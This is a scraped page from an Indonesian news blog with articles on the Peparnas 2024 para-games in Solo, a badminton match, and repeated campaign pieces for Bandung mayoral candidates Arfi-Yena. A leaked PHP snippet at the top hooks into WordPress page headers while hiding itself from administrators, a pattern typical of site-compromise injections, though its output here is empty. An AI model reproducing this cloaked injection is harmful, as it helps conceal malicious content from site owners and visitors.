Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Arena Para-Panahan Peparnas 2024 di Solo Standar Internasional
VISTA NUSANTARA — Panitia Pekan Paralimpiade Nasional (Peparnas) 2024 menyatakan arena pertandingan cabang olahraga para-panahan di Lapangan Kota Barat, Solo, dibuat dengan standar internasional sesuai dengan kebutuhan atlet dalam meningkatkan prestasinya.“Kami memberikan yang terbaik untuk pelaksanaan pertandingan. Kami membuat semuanya seperti di kejuaraan internasional mulai dari venue,” ujar Manajer Kompetisi Para-panahan Peparnas 2024 Riko Adi Baskoro di Lapangan Kota Barat, Solo, Jumat.Riko menyatakan tidak mau main-main dalam menyiapkan arena kompetisi lantaran dapat mempengaruhi mentalita atlet para-panahan saat berlaga.Jika arena bagus, dia melanjutkan, semangat bertanding atlet semakin terpacu untuk menjadi yang terbaik.“Atlet pun dapat lebih terbiasa dengan situasi lapangan yang berstandar internasional. Itu agar mereka lebih mudah beradaptasi jika berlaga di kompetisi luar negeri,” kata Riko.Dia menegaskan, sampai saat ini, tidak ada persoalan berat yang terjadi di arena para-panahan.Salah satu kendala yang sempat dirasakan di arena para-panahan, Riko menambahkan, adalah kerusakan set generator yang membuat aliran listrik terganggu, yang ini pun sudah diatasi.“Komunikasi dan koordinasi yang bagus mempercepat penanganan kasus-kasus di arena para-panahan,” tutur Riko.Kompetisi para-panahan mempertandingkan 19 nomor pertandingan untuk memperebutkan 31 medali emas.Jawa Barat masih memimpin perolehan medali sementara para-panahan Peparnas 2024 dengan empat medali perunggu.Adapun seluruh laga perebutan medali emas dan perak akan dilakukan esok Sabtu.*** -
Jawa Tengah Kokoh di Puncak Klasemen Sementara Peparnas XVII Solo 2024 dengan 105 Emas
VISTA NUSANTARA — Kontingen Jawa Tengah semakin kokoh menempati puncak klasemen sementara Pekan Paralimpiade Nasional (Peparnas) XVII tahun 2024 di Solo, Jawa Tengah, dengan perolehan sebanyak 105 medali emas.Total medali yang dikumpulkan tim tuan rumah yang terpantau hingga Jumat (11/10) pagi sebanyak 255 medali, termasuk 76 perak dan 74 perunggu. Jawa Tengah tengah memperlebar jarak dari pesaing terdekat mereka yaitu kontingen Jawa Barat yang membukukan 76 emas, 72 perak, dan 77 perunggu.Ketika Jawa Tengah merebut posisi puncak klasemen pada Rabu (8/10), selisih medali emas dengan pesaing terdekat sebanyak hanya 10 medali. Namun, para atlet yang berhasil menambah pundi-pundi emas membuat Jawa Tengah semakin kokoh dengan selisih 29 emas dengan Jawa Barat.Peringkat ketiga klasemen sementara dihuni kontingen DKI Jakarta dengan perolehan 20 emas, 22 perak, dan 20 perunggu. Posisi Jakarta masih belum cukup kuat karena dibayangi kontingen Riau dengan 19 emas, 15 perak, dan 27 perunggu.Selain itu, Sumatera Utara yang mengantongi 18 emas, 16 perak, dan 11 perunggu serta Papua dengan 17 emas, 26 perak, dan 23 perunggu berpeluang mengakhiri pesta olahraga terbesar nasional untuk kaum difabel itu dengan berada di tiga besar.Sementara itu, Kalimantan Selatan berada di peringkat ke-tujuh dengan perolehan 13 emas, 24 perak, dan 29 perunggu, diikuti Jawa Timur yang membukukan 12 emas, 11 perak, dan lima perunggu.Sumatera Selatan menempati peringkat ke-sembilan dengan meraih 11 emas, 12 perak, dan 22 perunggu, meninggalkan Kalimantan Barat yang membukukan delapan emas, 14 perak, dan delapan perunggu.Peparnas 2024 berlangsung di Solo, Jawa Tengah, pada 6 – 13 Oktober. Ajang ini diikuti oleh 35 provinsi dengan total atlet melebihi 4.600 orang yang ikut berkompetisi.Pesta olahraga nasional itu mempertandingkan 20 cabang olahraga yang berlangsung di berbagai arena yaitu Stadion Manahan, Stadion Sriwedari (atletik), Lapangan Kota Barat (panahan ), Edutorium UMS (bulutangkis), GOR FKOR UNS (boccia), Hotel Lor In Dwangsa (catur), Velodrome Manahan (sepeda balap track), Jalan Komplek Pemda (sepeda balap road), Stadion UNS (sepak bola).Selain itu, GOR UNS Kentingan (goalball), Swiss Belinn Saripetojo (judo), The Sunan Hotel (angkat berat), Harris Hotel (Menembak), GOR UTP Plesungan (voli duduk), Kolam Renang Intanpari (renang), Auditorium UNS (taekwondo), GOR Bung Karno (tenis meja), Bengawan Sport Center (tenpin bowling), Hotel Adhiwangsa (anggar kursi roda), Lapangan Tenis Manahan (tenis kursi roda), GOR Sritex Arena (basket kursi roda), dan Solia Zigna (E-Sports).*** -
Program Bandung Caang Hadir Untuk Keamanan Masyrakat
BANDUNG, VISTA NUSANTARA — Pasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menegaskan komitmen mereka untuk mengatasi masalah minimnya penerangan jalan di Kota Bandung melalui program “Bandung Caang.” Program ini hadir sebagai solusi strategis untuk meningkatkan keamanan dan kenyamanan masyarakat, terutama pada malam hari.Kang Arfi menyampaikan bahwa dirinya kerap mendengar keluhan dari warga, khususnya yang tinggal di kawasan pinggiran kota, mengenai kurangnya penerangan jalan. Menurutnya, kondisi ini tidak hanya menghambat aktivitas warga di malam hari, tetapi juga berpotensi meningkatkan risiko kejahatan.“Penerangan jalan yang optimal memiliki dampak signifikan dalam meningkatkan keamanan warga, terutama di malam hari. Banyak warga yang merasa tidak aman di daerah dengan pencahayaan minim, dan ini menjadi salah satu fokus kami,” ungkap Kang Arfi, Kamis (10/10/2024).Ia juga menjelaskan bahwa beberapa penelitian menyoroti pentingnya penerangan jalan dalam upaya pencegahan kejahatan. Salah satu studi yang dijadikannya referensi adalah penelitian terbaru dari National Bureau of Economic Research (NBER), yang mengungkapkan bahwa peningkatan pencahayaan jalan dapat menurunkan angka kejahatan malam hari di area publik hingga 60%.“Studi ini membuktikan, wilayah yang memiliki penerangan baik cenderung lebih aman. Pelaku kriminal akan merasa lebih rentan terlihat jika berada di area yang terang, sehingga mencegah niat jahat mereka. Hal ini sangat relevan di kota-kota seperti Bandung, di mana beberapa wilayah masih gelap dan menjadi lokasi rawan kejahatan,” jelasnya.*** -
Komitmen Arfi-Yena Terangi Kota Bandung Untuk Tingkatkan Rasa Aman Warga
BANDUNG, VISTA NUSANTARA — Pasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menegaskan komitmen mereka untuk mengatasi masalah minimnya penerangan jalan di Kota Bandung melalui program “Bandung Caang.” Program ini hadir sebagai solusi strategis untuk meningkatkan keamanan dan kenyamanan masyarakat, terutama pada malam hari.Kang Arfi menyampaikan bahwa dirinya kerap mendengar keluhan dari warga, khususnya yang tinggal di kawasan pinggiran kota, mengenai kurangnya penerangan jalan. Menurutnya, kondisi ini tidak hanya menghambat aktivitas warga di malam hari, tetapi juga berpotensi meningkatkan risiko kejahatan.“Penerangan jalan yang optimal memiliki dampak signifikan dalam meningkatkan keamanan warga, terutama di malam hari. Banyak warga yang merasa tidak aman di daerah dengan pencahayaan minim, dan ini menjadi salah satu fokus kami,” ungkap Kang Arfi, Kamis (10/10/2024).Ia juga menjelaskan bahwa beberapa penelitian menyoroti pentingnya penerangan jalan dalam upaya pencegahan kejahatan. Salah satu studi yang dijadikannya referensi adalah penelitian terbaru dari National Bureau of Economic Research (NBER), yang mengungkapkan bahwa peningkatan pencahayaan jalan dapat menurunkan angka kejahatan malam hari di area publik hingga 60%.“Studi ini membuktikan, wilayah yang memiliki penerangan baik cenderung lebih aman. Pelaku kriminal akan merasa lebih rentan terlihat jika berada di area yang terang, sehingga mencegah niat jahat mereka. Hal ini sangat relevan di kota-kota seperti Bandung, di mana beberapa wilayah masih gelap dan menjadi lokasi rawan kejahatan,” jelasnya.*** -
Arfi-Yena Prioritaskan Penerangan Jalan Demi Bandung Aman
BANDUNG, VISTA NUSANTARA — Pasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menegaskan komitmen mereka untuk mengatasi kurangnya penerangan jalan di Kota Bandung melalui program inovatif “Bandung Caang.” Program ini dirancang sebagai solusi strategis untuk meningkatkan keamanan dan kenyamanan warga, terutama di malam hari.Kang Arfi mengungkapkan bahwa ia sering menerima keluhan dari warga, terutama yang tinggal di daerah pinggiran kota, terkait minimnya penerangan jalan. Menurutnya, kondisi ini tidak hanya mengganggu aktivitas warga pada malam hari, tetapi juga berpotensi meningkatkan risiko kriminalitas.“Penerangan jalan yang optimal memiliki dampak signifikan dalam meningkatkan keamanan warga, terutama di malam hari. Banyak warga yang merasa tidak aman di daerah dengan pencahayaan minim, dan ini menjadi salah satu fokus kami,” ungkap Kang Arfi, Kamis (10/10/2024).Ia menambahkan bahwa beberapa penelitian menegaskan pentingnya penerangan jalan dalam mencegah kejahatan. Salah satu studi yang dijadikannya acuan adalah penelitian terbaru dari National Bureau of Economic Research (NBER), yang menunjukkan bahwa peningkatan pencahayaan jalan dapat mengurangi tingkat kejahatan malam hari di ruang publik hingga 60%.“Studi ini membuktikan, wilayah yang memiliki penerangan baik cenderung lebih aman. Pelaku kriminal akan merasa lebih rentan terlihat jika berada di area yang terang, sehingga mencegah niat jahat mereka. Hal ini sangat relevan di kota-kota seperti Bandung, di mana beberapa wilayah masih gelap dan menjadi lokasi rawan kejahatan,” jelasnya.*** -
Persiapan Pelatnas Tim Basket Kursi Roda Indonesia Dimulai Januari 2025
VISTA NUSANTARA — Tim bola basket kursi roda menjadikan laga ekshibisi dengan Thailand di sela-sela kegiatan Pekan Paralimpiade Nasional (Peparnas) XVII Solo 2024 sebagai persiapan bagi tim Merah Putih untuk menghadapi Asean Para Games 2025“Ajang ekshibisi basket kursi roda di Peparnas ini buat seleksi kami sebelum menggelar Pelatnas. Rencananya, kami akan mulai persiapan pada bulan Januari 2025. Ada sekitar 16 atlet yang mengikuti ajang ini,” kata pelatih tim basket kursi roda Indonesia Efri Meldi dalam keterangan resmi, Kamis.Laga ekshibisi tersebut digelar di GOR Sritex Arena, Solo, pada Rabu (9/10).Kehadiran sosok Efri Meldi menjadi istimewa bagi tim basket kursi roda Indonesia. Pasalnya, Efri Meldi merupakan pelatih basket muda yang membawa timnya berprestasi pada ajang Indonesia Basketball League (IBL).Efri Meldi mengungkapkan sudah melirik sejumlah atlet basket kursi roda Peparnas 2024 yang masuk dalam daftar incaran pada hari pertama pertandingan. Nama-nama pemain ini berpeluang besar mengikuti pelatihan nasional (Pelatnas) yang bakal digelar mulai Januari 2025 mendatang.“Rencananya TC akan digelar di Solo. Kami memproyeksikan ada 15 pemain yang mengikuti Pelatnas, karena kami harus mempersiapkan tim 5 lawan 5 dan nomor 3 on 3 yang terdiri dari tim putra putri,” ujar pelatih yang akrab disapa Meldi tersebut.Menjadi pelatih tim basket kursi roda merupakan pengalaman baru untuk pelatih jebolan Magister Ilmu Keolahragaan tersebut.Meldi bahkan sempat menimba ilmu ke Thailand agar mampu menjalankan perannya menahkodai tim basket kursi roda Indonesia. Ia akan mengadopsi program pelatihan di Negeri Gajah itu untuk menggembleng anak asuhnya.Juru taktik asal Tanah Datar, Sumatera Barat, itu mengakui bahwa Thailand patut menjadi acuan perkembangan olahraga ini. Apalagi, Thailand sukses memborong tiga medali emas pada cabor basket kursi roda Asean Para Games 2023 di Kamboja.*** -
Hendra/Ahsan Lolos ke 16 Besar Arctic Open 2024, Kalahkan Pasangan China
VISTA NUSANTARA — Pasangan ganda putra Indonesia Hendra Setiawan/Mohammad Ahsan melanjutkan langkah mereka ke babak 16 besar turnamen BWF Super 500 Arctic Open 2024 di Finlandia, Kamis WIB.Kepastian itu didapatkan “The Daddies” setelah membungkus kemenangan atas pasangan China Xie Hao Nan/Zeng Wei Han pada babak pertama dengan skor 21-17, 21-13.
“Mengucap syukur Alhamdulillah, sudah bisa menang di babak pertama, setelah sekian lama saya dan Hendra selalu kalah di babak pertama di beberapa pertandingan terakhir,” kata Ahsan, dikutip dari keterangan singkat PP PBSI.
Mengenai jalannya pertandingan, Hendra/Ahsan mengakui bahwa laga tidak berlangsung mudah bagi sang pasangan veteran karena harus bermain cepat.
“Hari ini cukup tidak mudah, karena kami melawan pasangan dari China, mereka memiliki usia yang masih cukup muda, permainan mereka cukup bertenaga, dan sangat cepat sehingga kami harus memakai pola permainan tanpa bola lob,” ungkap Hendra.
Dengan ini, maka Hendra/Ahsan pun bersiap untuk menghadapi unggulan kedua asal Denmark Kim Astrup/Anders Skaarup Rasmussen di babak kedua yang berlangsung mulai pukul 14.00 WIB.
“Untuk nanti ya kita harus siap untuk capek melawan pasangan dari Denmark. Seperti yang kita tahu, mereka pasangan yang cukup ulet dan mereka sedang bagus-bagusnya di beberapa pertandingan terakhir, mudah-mudahan kami lebih siap lagi dan bisa lebih fight di lapangan,” kata Ahsan.
Indonesia sendiri telah meloloskan tujuh wakil ke babak 16 besar Arctic Open 2024.
Selain Hendra/Ahsan, ada tunggal putra Jonatan Christie, dua tunggal putri yaitu Gregoria Mariska Tunjung dan Putri Kusuma Wardani, ganda putra Fajar Alfian/Muhammad Rian Ardianto, dan dua pasangan ganda campuran Rinov Rivaldy/Pitha Haningtyas Mentari dan Rehan Naufal Kusharjanto/Lisa Ayu Kusumawati.***
-
Arfi Rafnialdi Bahas Penguatan UMKM dan Lapangan Kerja di Jatihandap
BANDUNG, VISTA NUSANTARA — Sorak-sorai dari emak-emak menyambut kedatangan calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati, Kota Bandung, Rabu (9/10/2024). Bersama emak-emak tersebut, Kang Arfi berdialog ihwal sejumlah hal, di antaranya pemberdayaan ekonomi masyarakat, sistem penerimaan peserta didik baru, pemberantasan bank emok atau praktik rentenir.Upaya atas sejumlah hal yang dibahas dalam dialog tersebut menjadi bagian dalam visi dan misi Kang Arfi-Teh Yena. Penanganan persoalan-persoalan itu kentara pada misi mewujudkan sumber daya manusia yang sehat, religius, kreatif dan berdaya saing, meningkatkan kesejahteraan warga melalui pengembangan ekonomi, mewujudkan kota yang tangguh dan berkelanjutan.Terdapat salah seorang warga yang menjalankan usaha pakaian jadi anak-anak dengan jenama Tee-Kay Kidswear di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati. Warga itu bernama Sofia Ratna Anggareni.Usaha Sofia menyerap sekitar 100 tenaga kerja. Jumlah itu belum termasuk tenaga pemasaran yang berjumlah sekitar 200, tersebar di berbagai daerah.“Sebanyak 100 tenaga kerja, di antaranya mencakup penjahit, tim kreatif. Sebagian dari jumlah itu ada di Banjaran dan Soreang, Kabupaten Bandung. Sementara itu, untuk marketing yang terdaftar di kami, berjumlah sekitar 200. Tentu, ada lagi yang lain, seperti agen, reseller, dan tenaga lain di sisi distribusi,” tutur Sofia.Sofia berharap, Wali Kota dan Wakil Wali Kota Bandung berikutnya makin menguatkan keberpihakan pada pelaku industri kecil menangah maupun usaha mikro kecil menengah (UMKM). Bentuknya, bisa berupa bantuan modal, kemudahan pembuatan nomor induk berusaha serta pengurusan hak kekayaan intelektual (HKI).“Kami juga berharap, pemerintah lebih gencar menyosialisasikan program. Tak hanya lebih gencar, sosialisasi langsung ke para pelaku usaha,” ucap dia.Merespons hal itu, Kang Arfi mengatakan, Kota Bandung membutuhkan pelaku usaha seperti Sofia Ratna Anggraeni. Bukanya hanya memberdayakan warga Jatihandap, usaha Sofia memberi peluang, bahkan sumber penghasilan bagi warga di berbagai daerah.“Barusan, Teh Sofia bercerita ihwal terciptanya ekosistem wirausaha di Kota Bandung. Nilai manfaatnya sampai ke berbagai daerah lain. Lapangan kerja merupakan salah satu kebutuhan mendesak warga Kota Bandung. Dengan usahanya, Teh Sofia turut menyerap angkatan kerja,” tutur Kang Arfi.Dukungan kepada pelaku usaha sebagaima halnya Sofia, ucap Kang Arfi, tentu termasuk program prioritasnya bersama Teh Yena. Menurut Kang Arfi, Pemkot Bandung mesti proaktif untuk memberikan dukungan kepada IKM dan UMKM. Bentuknya, bisa berupa kemudahan perizinan, pengurusan HKI atas jenama, akses pemasaran, maupun bantuan permodalan.“Kebutuhan tiap-tiap pelaku usaha berbeda-beda. Pemberian dukungan disesuaikan dengan kebutuhan pelaku usaha bersangkutan untuk naik kelas, kemudian menyerap lebih banyak angkatan kerja,” ucap Kang Arfi.Orientasi program pasangan Kang Arfi-Teh Yena, di antaranya, membuka lapangan kerja sebanyak-banyaknya. Langkahnya, atas prakarsa pemerintah maupun yang kolaborasi dengan para pemangku kepentingan.Kang Arfi berpandangan, sumber daya di Kota Bandung memadai dalam hal membangun kolaborasi untuk mendukung ekosistem usaha serta membuka lapangan kerja. “Ada Bank Bandung, Pemerintah Kota Bandung juga punya saham di Bank BJB. Selain itu, ada Kadin, serta himpunan-himpunan pengusaha. Kolaborasi pemerintah dengan para pemangku kepentingan itu menjadi bagian kekuatan untuk mendukung IKM dan UMKM, serta membuka lapangan kerja,” ucap Kang Arfi.Program priotas untuk mendukung pelaku usaha, serta membuka lapangan kerja sebanyak-banyaknya selaras dengan kalimat “mendukung kehidupan berkualitas” yang tertera dalam visi Kang Arfi-Teh Yena.*** -
UMKM di Jatihandap Harapkan Kemudahan Perizinan
BANDUNG, VISTA NUSANTARA — Sorak-sorai dari emak-emak menyambut kedatangan calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati, Kota Bandung, Rabu (9/10/2024). Bersama emak-emak tersebut, Kang Arfi berdialog ihwal sejumlah hal, di antaranya pemberdayaan ekonomi masyarakat, sistem penerimaan peserta didik baru, pemberantasan bank emok atau praktik rentenir.
Upaya atas sejumlah hal yang dibahas dalam dialog tersebut menjadi bagian dalam visi dan misi Kang Arfi-Teh Yena. Penanganan persoalan-persoalan itu kentara pada misi mewujudkan sumber daya manusia yang sehat, religius, kreatif dan berdaya saing, meningkatkan kesejahteraan warga melalui pengembangan ekonomi, mewujudkan kota yang tangguh dan berkelanjutan.Terdapat salah seorang warga yang menjalankan usaha pakaian jadi anak-anak dengan jenama Tee-Kay Kidswear di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati. Warga itu bernama Sofia Ratna Anggareni.Usaha Sofia menyerap sekitar 100 tenaga kerja. Jumlah itu belum termasuk tenaga pemasaran yang berjumlah sekitar 200, tersebar di berbagai daerah.“Sebanyak 100 tenaga kerja, di antaranya mencakup penjahit, tim kreatif. Sebagian dari jumlah itu ada di Banjaran dan Soreang, Kabupaten Bandung. Sementara itu, untuk marketing yang terdaftar di kami, berjumlah sekitar 200. Tentu, ada lagi yang lain, seperti agen, reseller, dan tenaga lain di sisi distribusi,” tutur Sofia.Sofia berharap, Wali Kota dan Wakil Wali Kota Bandung berikutnya makin menguatkan keberpihakan pada pelaku industri kecil menangah maupun usaha mikro kecil menengah (UMKM). Bentuknya, bisa berupa bantuan modal, kemudahan pembuatan nomor induk berusaha serta pengurusan hak kekayaan intelektual (HKI).“Kami juga berharap, pemerintah lebih gencar menyosialisasikan program. Tak hanya lebih gencar, sosialisasi langsung ke para pelaku usaha,” ucap dia.Merespons hal itu, Kang Arfi mengatakan, Kota Bandung membutuhkan pelaku usaha seperti Sofia Ratna Anggraeni. Bukanya hanya memberdayakan warga Jatihandap, usaha Sofia memberi peluang, bahkan sumber penghasilan bagi warga di berbagai daerah.“Barusan, Teh Sofia bercerita ihwal terciptanya ekosistem wirausaha di Kota Bandung. Nilai manfaatnya sampai ke berbagai daerah lain. Lapangan kerja merupakan salah satu kebutuhan mendesak warga Kota Bandung. Dengan usahanya, Teh Sofia turut menyerap angkatan kerja,” tutur Kang Arfi.Dukungan kepada pelaku usaha sebagaima halnya Sofia, ucap Kang Arfi, tentu termasuk program prioritasnya bersama Teh Yena. Menurut Kang Arfi, Pemkot Bandung mesti proaktif untuk memberikan dukungan kepada IKM dan UMKM. Bentuknya, bisa berupa kemudahan perizinan, pengurusan HKI atas jenama, akses pemasaran, maupun bantuan permodalan.“Kebutuhan tiap-tiap pelaku usaha berbeda-beda. Pemberian dukungan disesuaikan dengan kebutuhan pelaku usaha bersangkutan untuk naik kelas, kemudian menyerap lebih banyak angkatan kerja,” ucap Kang Arfi.Orientasi program pasangan Kang Arfi-Teh Yena, di antaranya, membuka lapangan kerja sebanyak-banyaknya. Langkahnya, atas prakarsa pemerintah maupun yang kolaborasi dengan para pemangku kepentingan.Kang Arfi berpandangan, sumber daya di Kota Bandung memadai dalam hal membangun kolaborasi untuk mendukung ekosistem usaha serta membuka lapangan kerja. “Ada Bank Bandung, Pemerintah Kota Bandung juga punya saham di Bank BJB. Selain itu, ada Kadin, serta himpunan-himpunan pengusaha. Kolaborasi pemerintah dengan para pemangku kepentingan itu menjadi bagian kekuatan untuk mendukung IKM dan UMKM, serta membuka lapangan kerja,” ucap Kang Arfi.Program priotas untuk mendukung pelaku usaha, serta membuka lapangan kerja sebanyak-banyaknya selaras dengan kalimat “mendukung kehidupan berkualitas” yang tertera dalam visi Kang Arfi-Teh Yena.*** -
Kang Arfi Janji Sosialisasi Program Langsung
BANDUNG, VISTA NUSANTARA — Sorak-sorai dari emak-emak menyambut kedatangan calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati, Kota Bandung, Rabu (9/10/2024). Bersama emak-emak tersebut, Kang Arfi berdialog ihwal sejumlah hal, di antaranya pemberdayaan ekonomi masyarakat, sistem penerimaan peserta didik baru, pemberantasan bank emok atau praktik rentenir.Upaya atas sejumlah hal yang dibahas dalam dialog tersebut menjadi bagian dalam visi dan misi Kang Arfi-Teh Yena. Penanganan persoalan-persoalan itu kentara pada misi mewujudkan sumber daya manusia yang sehat, religius, kreatif dan berdaya saing, meningkatkan kesejahteraan warga melalui pengembangan ekonomi, mewujudkan kota yang tangguh dan berkelanjutan.Terdapat salah seorang warga yang menjalankan usaha pakaian jadi anak-anak dengan jenama Tee-Kay Kidswear di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati. Warga itu bernama Sofia Ratna Anggareni.Usaha Sofia menyerap sekitar 100 tenaga kerja. Jumlah itu belum termasuk tenaga pemasaran yang berjumlah sekitar 200, tersebar di berbagai daerah.“Sebanyak 100 tenaga kerja, di antaranya mencakup penjahit, tim kreatif. Sebagian dari jumlah itu ada di Banjaran dan Soreang, Kabupaten Bandung. Sementara itu, untuk marketing yang terdaftar di kami, berjumlah sekitar 200. Tentu, ada lagi yang lain, seperti agen, reseller, dan tenaga lain di sisi distribusi,” tutur Sofia.Sofia berharap, Wali Kota dan Wakil Wali Kota Bandung berikutnya makin menguatkan keberpihakan pada pelaku industri kecil menangah maupun usaha mikro kecil menengah (UMKM). Bentuknya, bisa berupa bantuan modal, kemudahan pembuatan nomor induk berusaha serta pengurusan hak kekayaan intelektual (HKI).“Kami juga berharap, pemerintah lebih gencar menyosialisasikan program. Tak hanya lebih gencar, sosialisasi langsung ke para pelaku usaha,” ucap dia.Merespons hal itu, Kang Arfi mengatakan, Kota Bandung membutuhkan pelaku usaha seperti Sofia Ratna Anggraeni. Bukanya hanya memberdayakan warga Jatihandap, usaha Sofia memberi peluang, bahkan sumber penghasilan bagi warga di berbagai daerah.“Barusan, Teh Sofia bercerita ihwal terciptanya ekosistem wirausaha di Kota Bandung. Nilai manfaatnya sampai ke berbagai daerah lain. Lapangan kerja merupakan salah satu kebutuhan mendesak warga Kota Bandung. Dengan usahanya, Teh Sofia turut menyerap angkatan kerja,” tutur Kang Arfi.Dukungan kepada pelaku usaha sebagaima halnya Sofia, ucap Kang Arfi, tentu termasuk program prioritasnya bersama Teh Yena. Menurut Kang Arfi, Pemkot Bandung mesti proaktif untuk memberikan dukungan kepada IKM dan UMKM. Bentuknya, bisa berupa kemudahan perizinan, pengurusan HKI atas jenama, akses pemasaran, maupun bantuan permodalan.“Kebutuhan tiap-tiap pelaku usaha berbeda-beda. Pemberian dukungan disesuaikan dengan kebutuhan pelaku usaha bersangkutan untuk naik kelas, kemudian menyerap lebih banyak angkatan kerja,” ucap Kang Arfi.Orientasi program pasangan Kang Arfi-Teh Yena, di antaranya, membuka lapangan kerja sebanyak-banyaknya. Langkahnya, atas prakarsa pemerintah maupun yang kolaborasi dengan para pemangku kepentingan.Kang Arfi berpandangan, sumber daya di Kota Bandung memadai dalam hal membangun kolaborasi untuk mendukung ekosistem usaha serta membuka lapangan kerja. “Ada Bank Bandung, Pemerintah Kota Bandung juga punya saham di Bank BJB. Selain itu, ada Kadin, serta himpunan-himpunan pengusaha. Kolaborasi pemerintah dengan para pemangku kepentingan itu menjadi bagian kekuatan untuk mendukung IKM dan UMKM, serta membuka lapangan kerja,” ucap Kang Arfi.Program priotas untuk mendukung pelaku usaha, serta membuka lapangan kerja sebanyak-banyaknya selaras dengan kalimat “mendukung kehidupan berkualitas” yang tertera dalam visi Kang Arfi-Teh Yena.***


.jpeg)
.jpeg)
.jpeg)




